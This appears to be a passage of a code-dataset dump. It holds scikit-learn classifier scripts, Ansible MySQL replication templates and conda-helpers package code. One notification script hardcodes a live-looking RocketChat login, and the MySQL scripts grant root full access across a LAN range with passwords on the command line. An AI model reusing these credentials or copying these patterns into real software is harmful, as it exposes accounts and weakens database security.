GaussianNB().fit(X_train, Y_train)\n#print (gnb)\ngnb_predictions = gnb.predict(X_test)\n#gnb_predictions = gnb.predict_proba(X_test)\n#print (gnb_predictions) \n# accuracy on X_test\naccuracy = gnb.score(X_test, Y_test)\nprint (accuracy)\n \n# creating a confusion matrix\ncm = confusion_matrix(Y_test, gnb_predictions)\nprint (cm)\n" }, { "alpha_fraction": 0.75, "alphanum_fraction": 0.7521644830703735, "avg_line_length": 26.058822631835938, "blob_id": "6eca57b929349ef3b1ffc5db8d827c0ba7cd2b00", "content_id": "0a3bef427a377ec405937d1a6f27978fc2176995", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 924, "license_type": "no_license", "max_line_length": 86, "num_lines": 34, "path": "/iris dataset/knn.py", "repo_name": "anierudh/classification", "src_encoding": "UTF-8", "text": "from sklearn.metrics import confusion_matrix,classification_report\nimport pandas as pd\nimport numpy as np\ntrain=pd.read_csv(\"Iris.csv\")\n#print (train)\ntest=pd.read_csv(\"iristest.csv\")\n#print (test)\nfeatures=['SepalLengthCm','SepalWidthCm','PetalLengthCm','PetalWidthCm']\nX_train=train[list(features)].values\n#print (X_train)\nY_train=train['Species'].values\n#print (Y_train)\nX_test=test[list(features)].values\n#print (X_test)\nY_test=test['Species'].values\n#print (Y_test)\n\nfrom sklearn.neighbors import KNeighborsClassifier\nknn = KNeighborsClassifier(n_neighbors=5,p=2,metric='minkowski').fit(X_train, Y_train)\n\n#print (knn)\n\nknn_predictions = knn.predict(X_test)\n#print (knn_predictions)\n\n \n# model accuracy for X_test \naccuracy = knn.score(X_test, Y_test)\nprint (accuracy)\n \n# creating a confusion matrix\ncm = confusion_matrix(Y_test, knn_predictions)\n#print (cm)\nprint (classification_report(Y_test,knn_predictions))\n\n\n \n" }, { "alpha_fraction": 0.7482993006706238, "alphanum_fraction": 0.7482993006706238, "avg_line_length": 24.823530197143555, "blob_id": "9dc185a57b5dd4f8f9b81302c73fa3b1cedd7da7", "content_id": "d760160904ad499ca7f526098fd50fc057744917", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 882, "license_type": "no_license", "max_line_length": 72, "num_lines": 34, "path": "/iris dataset/xg.py", "repo_name": "anierudh/classification", "src_encoding": "UTF-8", "text": "from sklearn.metrics import confusion_matrix,classification_report\nimport pandas as pd\nimport numpy as np\ntrain=pd.read_csv(\"Iris.csv\")\n#print (train)\ntest=pd.read_csv(\"iristest.csv\")\n#print (test)\nfeatures=['SepalLengthCm','SepalWidthCm','PetalLengthCm','PetalWidthCm']\nX_train=train[list(features)].values\n#print (X_train)\nY_train=train['Species'].values\n#print (Y_train)\nX_test=test[list(features)].values\n#print (X_test)\nY_test=test['Species'].values\n#print (Y_test)\n\nfrom xgboost import XGBClassifier\nxgb_data=XGBClassifier().fit(X_train,Y_train)\t\n#print (xgb_data)\n\nxgb_predictions = xgb_data.predict(X_test)\n#print (xgb_predictions)\n\n \n# model accuracy for X_test \n\naccuracy = xgb_data.score(X_test, Y_test)\nprint (accuracy)\n \n# creating a confusion matrix\ncm = confusion_matrix(Y_test, xgb_predictions)\n#print (cm)\nprint (classification_report(Y_test,xgb_predictions))\n\n\n \n" }, { "alpha_fraction": 0.7442060112953186, "alphanum_fraction": 0.745064377784729, "avg_line_length": 33.14706039428711, "blob_id": "fff9e4e2fdd9d4025fa2fa8c7a9865af772b2541", "content_id": "19b710d17a8749cbe84a0ea96ba9f4ff7bc1fd2e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1165, "license_type": "no_license", "max_line_length": 170, "num_lines": 34, "path": "/wine quality/svm1.py", "repo_name": "anierudh/classification", "src_encoding": "UTF-8", "text": "from sklearn.metrics import confusion_matrix,classification_report\nimport pandas as pd\nimport numpy as np\ntrain=pd.read_csv(\"winequality-red.csv\")\n#print (train)\ntest=pd.read_csv(\"testwine.csv\")\n#print (test)\nfeatures=['citric acid','residual sugar','chlorides','density','pH','alcohol','fixed acidity','volatile acidity','free sulfur dioxide','total sulfur dioxide','sulphates']\nX_train=train[list(features)].values\n#print (X_train)\nY_train=train['quality'].values\n#print (Y_train)\nX_test=test[list(features)].values\n#print (X_test)\nY_test=test['quality'].values\n#print (Y_test)\nfrom sklearn import linear_model\n#from sklearn.svm import SVC\n#svm_model_linear = SVC(kernel = 'linear',C=1).fit(X_train, Y_train)\nsvm_model_linear = linear_model.SGDClassifier().fit(X_train, Y_train)\n#print (svm_model_linear)\n#print (svm_model_linear.coef_)\nsvm_predictions = svm_model_linear.predict(X_test)\n#print (svm_predictions)\n\n \n# model accuracy for X_test \naccuracy = svm_model_linear.score(X_test, Y_test)\n#print (accuracy)\n \n# creating a confusion matrix\ncm = confusion_matrix(Y_test, svm_predictions)\n#print (cm)\nprint (classification_report(Y_test,svm_predictions))\n\n\n \n" }, { "alpha_fraction": 0.7286689281463623, "alphanum_fraction": 0.73549485206604, "avg_line_length": 22.836734771728516, "blob_id": "49ecc1e0acccfb8d208761216636255396cd8f2c", "content_id": "9f485452e1046fdf54da0b531da173c1f7616b21", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1172, "license_type": "no_license", "max_line_length": 86, "num_lines": 49, "path": "/mushroom classifcation/knn.py", "repo_name": "anierudh/classification", "src_encoding": "UTF-8", "text": "from sklearn.metrics import confusion_matrix,classification_report\nfrom sklearn import preprocessing\nimport pandas as pd\nimport numpy as np\ntrain=pd.read_csv(\"mushrooms.csv\")\ntd=pd.DataFrame(train)\n#print (td)\n#print (train)\ntest=pd.read_csv(\"testmushroom.csv\")\ntd1=pd.DataFrame(test)\n#print (test)\n\n\n\nx=preprocessing.LabelEncoder()\nfor col in td.columns:\n\ttd[col]=x.fit_transform(td[col])\n\t#print (td[col])\nX_train=td[[x for x in td.columns if 'class' not in x]]\n#print (X_train)\nY_train=td['class']\n#print (Y_train)\ny=preprocessing.LabelEncoder()\nfor col in td1.columns:\n\ttd1[col]=y.fit_transform(td1[col])\nX_test=td1[[x for x in td.columns if 'class' not in x]]\n#print (X_test)\nY_test=td1['class']\n#print (Y_test)\n\n\n\nfrom sklearn.neighbors import KNeighborsClassifier\nknn = KNeighborsClassifier(n_neighbors=5,p=2,metric='minkowski').fit(X_train, Y_train)\n\n#print (knn)\n\nknn_predictions = knn.predict(X_test)\n#print (knn_predictions)\n\n \n# model accuracy for X_test \naccuracy = knn.score(X_test, Y_test)\nprint (accuracy)\n \n# creating a confusion matrix\ncm = confusion_matrix(Y_test, knn_predictions)\n#print (cm)\nprint (classification_report(Y_test,knn_predictions))\n\n\n \n" }, { "alpha_fraction": 0.7254188060760498, "alphanum_fraction": 0.7312454581260681, "avg_line_length": 27.52083396911621, "blob_id": "cea94a94f0f1a3f6fd004c2e58dd9e4e45d533be", "content_id": "b3175e000747bf53bca35f06b72afdb176bb80ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1373, "license_type": "no_license", "max_line_length": 75, "num_lines": 48, "path": "/mushroom classifcation/svm1.py", "repo_name": "anierudh/classification", "src_encoding": "UTF-8", "text": "from sklearn.metrics import confusion_matrix,classification_report\nfrom sklearn import preprocessing\nimport pandas as pd\nimport numpy as np\ntrain=pd.read_csv(\"mushrooms.csv\")\ntd=pd.DataFrame(train)\n#print (td)\n#print (train)\ntest=pd.read_csv(\"testmushroom.csv\")\ntd1=pd.DataFrame(test)\n#print (test)\n\n\nx=preprocessing.LabelEncoder()\n\nfor col in td.columns:\n\ttd[col]=x.fit_transform(td[col])\n\t#print (td[col])\nX_train=td[[x for x in td.columns if 'class' not in x]]\n#print (X_train)\nY_train=td['class']\n#print (Y_train)\ny=preprocessing.LabelEncoder()\nfor col in td1.columns:\n\ttd1[col]=y.fit_transform(td1[col])\nX_test=td1[[x for x in td.columns if 'class' not in x]]\n#print (X_test)\nY_test=td1['class']\n#print (Y_test)\n#from sklearn import linear_model\nfrom sklearn.svm import SVC\nsvm_model_linear = SVC(kernel = 'rbf',C=1).fit(X_train, Y_train)\n#svm_model_linear = SVC(kernel = 'linear',C=1).fit(X_train, Y_train)\n#svm_model_linear = linear_model.LogisticRegression().fit(X_train, Y_train)\n#print (svm_model_linear)\n#print (svm_model_linear.coef_)\nsvm_predictions = svm_model_linear.predict(X_test)\n#print (svm_predictions)\n\n \n# model accuracy for X_test \naccuracy = svm_model_linear.score(X_test, Y_test)\nprint (accuracy)\n \n# creating a confusion matrix\ncm = confusion_matrix(Y_test, svm_predictions)\n#print (cm)\n#print (classification_report(Y_test,svm_predictions))\n\n\n \n" }, { "alpha_fraction": 0.70561283826828, "alphanum_fraction": 0.7107674479484558, "avg_line_length": 29.10344886779785, "blob_id": "082b8bafda705b6ac427f289977d6f5ad080ed90", "content_id": "2937e85fe656ba9c3323fd6c4f4f2ad0c8230a67", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1746, "license_type": "no_license", "max_line_length": 74, "num_lines": 58, "path": "/mushroom classifcation/decisiontree1.py", "repo_name": "anierudh/classification", "src_encoding": "UTF-8", "text": "from sklearn.metrics import confusion_matrix,classification_report\nfrom sklearn import preprocessing\n#from sklearn.model_selection import train_test_split\nimport numpy as np\nimport pandas as pd\ntrain=pd.read_csv(\"mushrooms.csv\")\ntd=pd.DataFrame(train)\n#print (td)\n#print (train)\ntest=pd.read_csv(\"testmushroom.csv\")\ntd1=pd.DataFrame(test)\n#print (test)\n\n\n\nx=preprocessing.LabelEncoder()\nfor col in td.columns:\n\ttd[col]=x.fit_transform(td[col])\n\t#print (td[col])\nX_train=td[[x for x in td.columns if 'class' not in x]]\n#print (X_train)\nY_train=td['class']\n#print (Y_train)\ny=preprocessing.LabelEncoder()\nfor col in td1.columns:\n\ttd1[col]=y.fit_transform(td1[col])\nX_test=td1[[x for x in td.columns if 'class' not in x]]\n#print (X_test)\nY_test=td1['class']\n#print (Y_test)\n\n\nfrom sklearn.tree import DecisionTreeClassifier\n#from sklearn.ensemble import RandomForestClassifier\ndtree_model = DecisionTreeClassifier(max_depth = 2).fit(X_train, Y_train)\n#dtree_model = RandomForestClassifier(max_depth = 2).fit(X_train, Y_train)\n#print (dtree_model)\n#dtree_predictions = dtree_model.predict_proba(X_test)\ndtree_predictions = dtree_model.predict(X_test)\n#print (dtree_predictions)\n\n# creating a confusion matrix\ncm = confusion_matrix(Y_test, dtree_predictions)\n#print (cm)\naccuracy=dtree_model.score(X_test,Y_test)\nprint (accuracy)\nncm= cm/cm.astype(np.float).sum(axis=1)\n#print (ncm)\nprint (classification_report(Y_test,dtree_predictions))\n\n\n\"\"\"dot_data = tree.export_graphviz(clf, out_file=None,\n feature_names=X_train,\n class_names=Y_train,\n filled=True, rounded=True,\n special_characters=True)\ngraph = graphviz.Source(dot_data)\ngraph.render(\"train\")\"\"\"\n" }, { "alpha_fraction": 0.7470703125, "alphanum_fraction": 0.748046875, "avg_line_length": 29, "blob_id": "d4d157bdfdaf137d1bdc41905f46a9881dd7c39a", "content_id": "43fe0d71ee7f5780b1556c61857a25d0d6a1b15d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1024, "license_type": "no_license", "max_line_length": 72, "num_lines": 34, "path": "/iris dataset/svm1.py", "repo_name": "anierudh/classification", "src_encoding": "UTF-8", "text": "from sklearn.metrics import confusion_matrix,classification_report\nimport pandas as pd\nimport numpy as np\ntrain=pd.read_csv(\"Iris.csv\")\n#print (train)\ntest=pd.read_csv(\"iristest.csv\")\n#print (test)\nfeatures=['SepalLengthCm','SepalWidthCm','PetalLengthCm','PetalWidthCm']\nX_train=train[list(features)].values\n#print (X_train)\nY_train=train['Species'].values\n#print (Y_train)\nX_test=test[list(features)].values\n#print (X_test)\nY_test=test['Species'].values\n#print (Y_test)\n#from sklearn import linear_model\nfrom sklearn.svm import SVC\nsvm_model_linear = SVC(kernel = 'linear',C=1).fit(X_train, Y_train)\n#svm_model_linear = linear_model.SGDClassifier().fit(X_train, Y_train)\n#print (svm_model_linear)\n\nsvm_predictions = svm_model_linear.predict(X_test)\n#print (svm_predictions)\n\n \n# model accuracy for X_test \naccuracy = svm_model_linear.score(X_test, Y_test)\nprint (accuracy)\n \n# creating a confusion matrix\ncm = confusion_matrix(Y_test, svm_predictions)\n#print (cm)\nprint (classification_report(Y_test,svm_predictions))\n\n\n \n" }, { "alpha_fraction": 0.7158671617507935, "alphanum_fraction": 0.7177121639251709, "avg_line_length": 35.13333511352539, "blob_id": "5cea09658996a28bed4aa6f51f7f21032b9e1fde", "content_id": "8a89fb1208f29f687b5d33d77668a028a4cd33d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1626, "license_type": "no_license", "max_line_length": 170, "num_lines": 45, "path": "/wine quality/decisiontree1.py", "repo_name": "anierudh/classification", "src_encoding": "UTF-8", "text": "from sklearn.metrics import confusion_matrix,classification_report\n#from sklearn.model_selection import train_test_split\n\n#import graphviz\nimport numpy as np\nimport pandas as pd\ntrain=pd.read_csv(\"winequality-red.csv\")\n#print (train)\ntest=pd.read_csv(\"testwine.csv\")\n#print (test)\nfeatures=['citric acid','residual sugar','chlorides','density','pH','alcohol','fixed acidity','volatile acidity','free sulfur dioxide','total sulfur dioxide','sulphates']\nX_train=train[list(features)].values\n#print (X_train)\nY_train=train['quality'].values\n#print (Y_train)\nX_test=test[list(features)].values\n#print (X_test)\nY_test=test['quality'].values\n#print (Y_test)\n#from sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\n#dtree_model = DecisionTreeClassifier(max_depth = 2).fit(X_train, Y_train)\ndtree_model = RandomForestClassifier(max_depth = 2).fit(X_train, Y_train)\n#print (dtree_model)\n#dtree_predictions = dtree_model.predict_proba(X_test)\ndtree_predictions = dtree_model.predict(X_test)\n#print (dtree_predictions)\n\n# creating a confusion matrix\ncm = confusion_matrix(Y_test, dtree_predictions)\n#print (cm)\naccuracy=dtree_model.score(X_test,Y_test)\n#print (accuracy)\nncm= cm/cm.astype(np.float).sum(axis=1)\n#print (ncm)\nprint (classification_report(Y_test,dtree_predictions))\n\n\n\"\"\"dot_data = tree.export_graphviz(clf, out_file=None,\n feature_names=X_train,\n class_names=Y_train,\n filled=True, rounded=True,\n special_characters=True)\ngraph = graphviz.Source(dot_data)\ngraph.render(\"train\")\"\"\"\n" } ]
10
magichuihui/ansible-playbooks
https://github.com/magichuihui/ansible-playbooks
04da4cd6aa8ad3bf6c84a008ddf0a4d46e2437c2
2bfda68f6833e5a7a0777635f2b45d4ff4e04ea7
a0a17427374db0a38ccc9b68bf7baafcfafee278
refs/heads/master
2021-01-19T04:44:31.213740
2019-03-11T08:52:43
2019-03-11T08:52:43
87,391,144
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7894737124443054, "alphanum_fraction": 0.7894737124443054, "avg_line_length": 24.33333396911621, "blob_id": "53dd8ca54b1664cb4ef0c38b5fcdad0dd3610cdf", "content_id": "6d239ac619562094135c6535784e8f5b276b7353", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 76, "license_type": "no_license", "max_line_length": 46, "num_lines": 3, "path": "/README.md", "repo_name": "magichuihui/ansible-playbooks", "src_encoding": "UTF-8", "text": "# ansible-playbooks\n# Usage:\nansible-playbooks -i test new_nagiosclient.yml\n" }, { "alpha_fraction": 0.6171039938926697, "alphanum_fraction": 0.6326530575752258, "avg_line_length": 37.074073791503906, "blob_id": "de3664c5bc1d18c50c8c4ccea23c8a0337ec9a60", "content_id": "720bd018baad7e0ddda0959b93a15069c6ac502c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1029, "license_type": "no_license", "max_line_length": 187, "num_lines": 27, "path": "/roles/mysql56_master/templates/create_master_slave.sh", "repo_name": "magichuihui/ansible-playbooks", "src_encoding": "UTF-8", "text": "#!/bin/bash\n# roles/mysql56_master/templates/create_master_slave.sh\n\n# Get master's IP address.\necho {{ group_names | list | join(\",\") }} | grep -wq \"secondary\" &> /dev/null\n[ $? -eq 0 ] && master_ip=\"{{ hostvars[groups['master'][0]]['ansible_default_ipv4']['address'] }}\" || master_ip=\"{{ hostvars[groups['secondary'][0]]['ansible_default_ipv4']['address'] }}\"\n\n# Lock master's table\nmysql -uroot -p{{ mysql_password }} -h$master_ip -e \"FLUSH TABLE WITH READ LOCK;\"\n\n# Get Master's log file and log position.\nstr=$(mysql -uroot -p{{ mysql_password }} -h${master_ip} -e \"SHOW MASTER STATUS;\" 2>/dev/null | grep mysql-bin)\narr=($str)\nlog_file=${arr[0]}\nlog_pos=${arr[1]}\n\n# Change master \nmysql -uroot -p{{ mysql_password }} -h127.0.0.1 -e \"CHANGE MASTER TO \\\n MASTER_HOST='${master_ip}',\\\n MASTER_USER='repl', \\\n MASTER_PASSWORD='replication', \\\n MASTER_LOG_FILE='${log_file}', \\\n MASTER_LOG_POS=${log_pos}; \\\n START SLAVE;\"\n\n# Unlock tables\nmysql -uroot -p{{ mysql_password }} -h$master_ip -e \"UNLOCK TABLES;\"\n\n" }, { "alpha_fraction": 0.652314305305481, "alphanum_fraction": 0.6770721077919006, "avg_line_length": 53.411766052246094, "blob_id": "ae9b09e65600600b7a21c39126e05ecddf2c3823", "content_id": "f1c024143e27aaedc7e396919eff1e7f081590be", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 929, "license_type": "no_license", "max_line_length": 198, "num_lines": 17, "path": "/roles/mysql56/templates/config_mysql.sh", "repo_name": "magichuihui/ansible-playbooks", "src_encoding": "UTF-8", "text": "#!/bin/bash\n# roles/mysql56/templates/config_mysql.sh\n\n# Change MySQL root's password, etc.\nmysql -uroot -h127.0.0.1 -e \"UPDATE mysql.user SET password = password('{{ mysql_password }}'); DELETE FROM mysql.user WHERE user=''; FLUSH PRIVILEGES;\"\n\nmysql -uroot -p{{ mysql_password }} -h127.0.0.1 -e \"CREATE USER 'repl'@'%' IDENTIFIED BY 'replication';GRANT REPLICATION SLAVE ON *.* TO 'repl'@'%';FLUSH PRIVILEGES;\"\n\n# host for LAN IP range\ndefault_network={{ ansible_default_ipv4.network }}\nhosts_range=${default_network%.0}.%\n\nmysql -uroot -p{{ mysql_password }} -h127.0.0.1 -e \"CREATE USER 'root'@'${hosts_range}' IDENTIFIED BY '{{ mysql_password }}';GRANT ALL PRIVILEGES ON *.* TO 'root'@'${hosts_range}';FLUSH PRIVILEGES;\"\n\n# Modify /etc/my.cnf\nsed -i 's/^server_id=.*/server_id={{ ansible_default_ipv4.address.split(\".\") | last }}/g' /etc/my.cnf\nsed -i 's/^report_host=.*/report_host={{ ansible_nodename }}/g' /etc/my.cnf\n\n\n\n\n" }, { "alpha_fraction": 0.6747104525566101, "alphanum_fraction": 0.6756756901741028, "avg_line_length": 42.16666793823242, "blob_id": "68bd6a97c518f80788757c32480a6f8b75ff4fca", "content_id": "4b1f6fb3cfc4615a8303e54c6f3f6d9210047c36", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1036, "license_type": "no_license", "max_line_length": 244, "num_lines": 24, "path": "/roles/mha_manager/files/mha_notification.py", "repo_name": "magichuihui/ansible-playbooks", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nimport argparse\nimport json\n\nfrom rocketchat.api import RocketChatAPI\n\napi = RocketChatAPI(settings={'username': 'Alexa', 'password': 'sb6mWMiXF6fk',\n 'domain': 'https://chat.baiyjk.com'})\n\nparser = argparse.ArgumentParser(description='MySQL master failover succeeded')\n\nparser.add_argument('--orig_master_host', nargs='?', dest='orig_master_host')\nparser.add_argument('--new_master_host', nargs='?', dest='new_master_host')\nparser.add_argument('--new_slave_hosts', nargs='?', dest='new_slave_hosts')\nparser.add_argument('--subject', nargs='?', dest='subject')\nparser.add_argument('--body', nargs='?', dest='body')\nparser.add_argument('--conf', nargs='?', dest='conf')\n\nargs = parser.parse_args()\n\nmessage = \"**MySQL {}, failover has completed.**\\norigin master: {}, new master: {}, new slaves: {}\\nsubject: {}\\nbody: {}\".format(args.new_master_host, args.orig_master_host, args.new_master_host, args.new_slave_hosts, args.subject, args.body)\n\napi.send_message(message, 'prometheus')\n" }, { "alpha_fraction": 0.625, "alphanum_fraction": 0.6730769276618958, "avg_line_length": 19.799999237060547, "blob_id": "24647c23fb02b5dd2e300d9c9b8d4d3d012f7bf0", "content_id": "7f815581fe5653ddd706ec488b9a46fa1798555b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 104, "license_type": "no_license", "max_line_length": 58, "num_lines": 5, "path": "/ssh_copy_ids.sh", "repo_name": "magichuihui/ansible-playbooks", "src_encoding": "UTF-8", "text": "#!/bin/bash\ncat $1 | while read line\ndo\n ssh-copy-id -i ~/keygens/qingdao.pub -p 2323 root@$line\ndone\n" } ]
5
mkdryden/conda-helpers
https://github.com/mkdryden/conda-helpers
4f5d580185b9e6e217a90a23f0c1fcd8a0f40b10
1ec971c6bef97499cc32790c4c13eb84717921f6
f6b99589de4f907fb31e6bc21743d21024ad359c
refs/heads/master
2022-01-26T20:36:43.023422
2018-04-23T17:20:40
2018-04-23T17:20:40
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5778229832649231, "alphanum_fraction": 0.5824007987976074, "avg_line_length": 33.49122619628906, "blob_id": "b6af0bb547398922541ae6e7b22918ecbac7b303", "content_id": "c10e159b2d919ddbdf766d6f0e35e55d97c38f92", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1966, "license_type": "permissive", "max_line_length": 119, "num_lines": 57, "path": "/conda_helpers/recipes.py", "repo_name": "mkdryden/conda-helpers", "src_encoding": "UTF-8", "text": "# coding: utf-8\nu'''\nHelper functions to process Conda recipes.\n\n\n.. versionadded:: 0.18\n'''\nfrom __future__ import absolute_import, unicode_literals, print_function\n\nfrom ruamel.yaml import YAML\nfrom ruamel.yaml.constructor import DuplicateKeyError\nimport pydash as _py\n\n\ndef find_requirements(recipe_obj, package_name=None):\n '''\n Find all ``requirements`` sections in the Conda build recipe.\n '''\n if isinstance(package_name, str):\n package_name = [package_name]\n recipe_obj = _py.clone_deep(recipe_obj)\n matches = []\n _py.map_values_deep(recipe_obj, iteratee=lambda value, path:\n matches.append((value.split(' ')[0], value, path))\n if (len(path) > 2 and path[-3] == 'requirements'\n and isinstance(value, str)\n and (package_name is None or\n value.split(' ')[0] in package_name))\n else None)\n return matches\n\n\ndef recipe_objs(recipe_str):\n '''\n Parameters\n ----------\n recipe_str : str\n Conda recipe text.\n\n Returns\n -------\n list<collections.OrderedDict>\n List of outputs decoded from recipe. While most recipes result in a\n single output, Conda recipes can describe multiple outputs (see the\n `outputs section <https://conda.io/docs/user-guide/tasks/build-packages/define-metadata.html#outputs-section>`_\n in the ``conda build`` documentation).\n '''\n try:\n return [YAML().load(recipe_str)]\n except DuplicateKeyError:\n # multiple outputs from recipe\n lines = recipe_str.splitlines()\n package_starts = [i for i, line_i in enumerate(lines)\n if line_i.startswith('package:')]\n return [YAML().load('\\n'.join(lines[start:end]))\n for start, end in zip(package_starts, package_starts[1:] +\n [len(lines)])]\n" }, { "alpha_fraction": 0.6515581011772156, "alphanum_fraction": 0.6798866987228394, "avg_line_length": 21.0625, "blob_id": "25bbaf246cc9a07a1a99d93483451500111bf233", "content_id": "128d8acdef8c880a5ef6081eecd86687b7ca7a5a", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 353, "license_type": "permissive", "max_line_length": 72, "num_lines": 16, "path": "/conda_helpers/__init__.py", "repo_name": "mkdryden/conda-helpers", "src_encoding": "UTF-8", "text": "# coding: utf-8\n'''\n.. versionchanged:: 0.13\n Add support for Python 3.\n\n.. versionchanged:: 0.21\n Add support for ``conda>=4.4``.\n'''\nfrom __future__ import absolute_import, print_function, unicode_literals\n\nfrom ._version import get_versions\nfrom .exe_api import *\nfrom .py_api import *\n\n__version__ = get_versions()['version']\ndel get_versions\n" }, { "alpha_fraction": 0.5331395268440247, "alphanum_fraction": 0.5346511602401733, "avg_line_length": 34.83333206176758, "blob_id": "718ce35b11dc46b26f320aca5c82dd17c1ed80e2", "content_id": "fe22b80f72aa6ab319f107b288ed1ffb0105c943", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8600, "license_type": "permissive", "max_line_length": 79, "num_lines": 240, "path": "/conda_helpers/__main__.py", "repo_name": "mkdryden/conda-helpers", "src_encoding": "UTF-8", "text": "# coding: utf-8\nu'''\ncondac - Execute Conda commands, reusing cached output if available.\n'''\nfrom __future__ import absolute_import, unicode_literals, print_function\nfrom argparse import ArgumentParser\nfrom collections import OrderedDict\nfrom functools import wraps\nimport datetime as dt\nimport re\nimport subprocess as sp\nimport sys\n\nimport colorama as _C\nimport joblib as jl\nimport path_helpers as ph\nimport six\n\nimport conda_helpers as ch\nimport conda_helpers.exe_api\n\n\nBASE_PARSER = ArgumentParser(add_help=False)\nBASE_PARSER.add_argument('--cache-dir', type=ph.path, help='Cache directory '\n '(default=`%(default)s`).',\n default=ph.path('~/.conda-helpers-cache').expand())\nBASE_PARSER.add_argument('-f', '--force', action='store_true', help='Force '\n 'execution of command (do not used cached result).')\nBASE_PARSER.add_argument('-v', '--verbose', action='store_true')\n\n\ndef git_src_info(meta_path):\n '''\n Parameters\n ----------\n meta_path : str\n Path to ``meta.yaml`` Conda recipe file.\n\n Returns\n -------\n tuple(path, git describe, HEAD hash) or None\n Return ``None`` if no ``git_url`` is specified in the ``meta.yaml``\n file. Otherwise, return ``git`` info for recipe source.\n '''\n meta_path = ph.path(meta_path)\n recipe_path = meta_path.parent\n\n match = re.search(r'git_url: +(?P<git_url>[\\S^#]*).*$', meta_path.text(),\n flags=re.MULTILINE)\n\n git_url = ph.path(match.group('git_url'))\n\n if git_url.isabs():\n git_dir = git_url\n else:\n git_dir = recipe_path.joinpath(git_url).realpath()\n\n if git_dir.isdir():\n describe = sp.check_output('git describe --tags --dirty',\n cwd=git_dir).strip()\n head = sp.check_output('git rev-parse HEAD', cwd=git_dir).strip()\n return git_dir, describe, head\n\n\n@wraps(ch.exe_api.conda_exec)\ndef conda_exec_memoize(*args, **kwargs):\n '''\n Memoizable\n '''\n global conda_exec\n\n __file_hashes__ = kwargs.pop('__file_hashes__', tuple())\n __ignore_paths__ = kwargs.pop('__ignore_paths__', tuple())\n # Get absolute path for each ignore path.\n __ignore_paths__ = tuple([ph.path(p).realpath() for p in __ignore_paths__])\n __force_exec__ = kwargs.pop('__force_exec__', False)\n verbose = kwargs.pop('verbose', False)\n\n cmd_args = list(args)\n\n __git_revisions__ = tuple()\n\n for i, a in enumerate(args):\n if isinstance(a, six.string_types):\n if i > 0 and args[i - 1] == '--croot':\n # Ignore `croot` directory.\n continue\n a = ph.path(a)\n if a.exists() and a.realpath() not in __ignore_paths__:\n cmd_args[i] = a.realpath()\n if a.isfile():\n # Argument is a path to a file that exists and is not\n # explicitly ignored. Add hash of file contents to\n # arguments to allow for content-specific memoization.\n __file_hashes__ += a.realpath(), a.read_hexhash('sha1')\n if a.name == 'meta.yaml':\n git_info = git_src_info(a)\n __git_revisions__ += (git_info, )\n elif a.isdir():\n # Argument is a path to a directory that exists and is not\n # explicitly ignored. Add hashes of directory contents to\n # arguments to allow for content-specific memoization.\n files = []\n for f in a.walkfiles():\n files.append((f.realpath(), f.read_hexhash('sha1')))\n if f.name == 'meta.yaml':\n git_info = git_src_info(f)\n __git_revisions__ += (git_info, )\n __file_hashes__ += (a.realpath(), tuple(files))\n\n kwargs['verbose'] = True\n\n if __git_revisions__:\n kwargs['__git_revisions__'] = __git_revisions__\n if verbose:\n for git_dir_i, describe_i, head_i in __git_revisions__:\n print(_C.Fore.MAGENTA + ' git source:',\n (_C.Fore.WHITE + '{}@'.format(git_dir_i.name)) +\n (_C.Fore.LIGHTGREEN_EX + '{}'.format(describe_i\n .decode('utf8'))),\n (_C.Fore.LIGHTCYAN_EX + '({})'.format(head_i[:8]\n .decode('utf8'))),\n file=sys.stderr)\n kwargs['__git_revisions__'] = __git_revisions__\n\n kwargs['__file_hashes__'] = __file_hashes__\n output_dir, argument_hash = conda_exec._get_output_dir(*cmd_args, **kwargs)\n\n if ph.path(output_dir).joinpath('output.pkl').isfile():\n # Cache result exists.\n if __force_exec__:\n # Delete cached output file.\n ph.path(output_dir).joinpath('output.pkl').remove()\n if verbose:\n print(_C.Fore.RED + 'Deleted cached result (`--force` was '\n 'specified.)', file=sys.stderr)\n cached = False\n else:\n cached = True\n\n else:\n cached = False\n\n if verbose:\n print(_C.Fore.MAGENTA + 'Command:', _C.Fore.WHITE +\n sp.list2cmdline(args), file=sys.stderr)\n if cached:\n print(_C.Fore.MAGENTA + 'Reusing cached result...',\n file=sys.stderr)\n else:\n print(_C.Fore.MAGENTA + 'Executing function (no cache found)...',\n file=sys.stderr)\n\n if verbose:\n print(_C.Fore.MAGENTA + '\\nOutput\\n======', file=sys.stderr)\n\n # **Note: `conda_exec` is created dynamically in `main()` function to\n # use a dynamically-specified memoize cache directory.**\n output = conda_exec(*cmd_args, **kwargs).replace('\\r\\n', '\\n')\n if cached:\n # Result was loaded from cache. Since function was not actually\n # run, need to print output.\n sys.stdout.write(output)\n return output\n\n\ndef main(args=None):\n global conda_exec\n\n _C.init(autoreset=True)\n args = sys.argv[1:]\n\n if args is None:\n args = sys.argv[1:]\n\n if '--' in args:\n cmd_args = args[args.index('--') + 1:]\n parser_args = args[:args.index('--')]\n else:\n cmd_args = []\n parser_args = args\n\n parser = 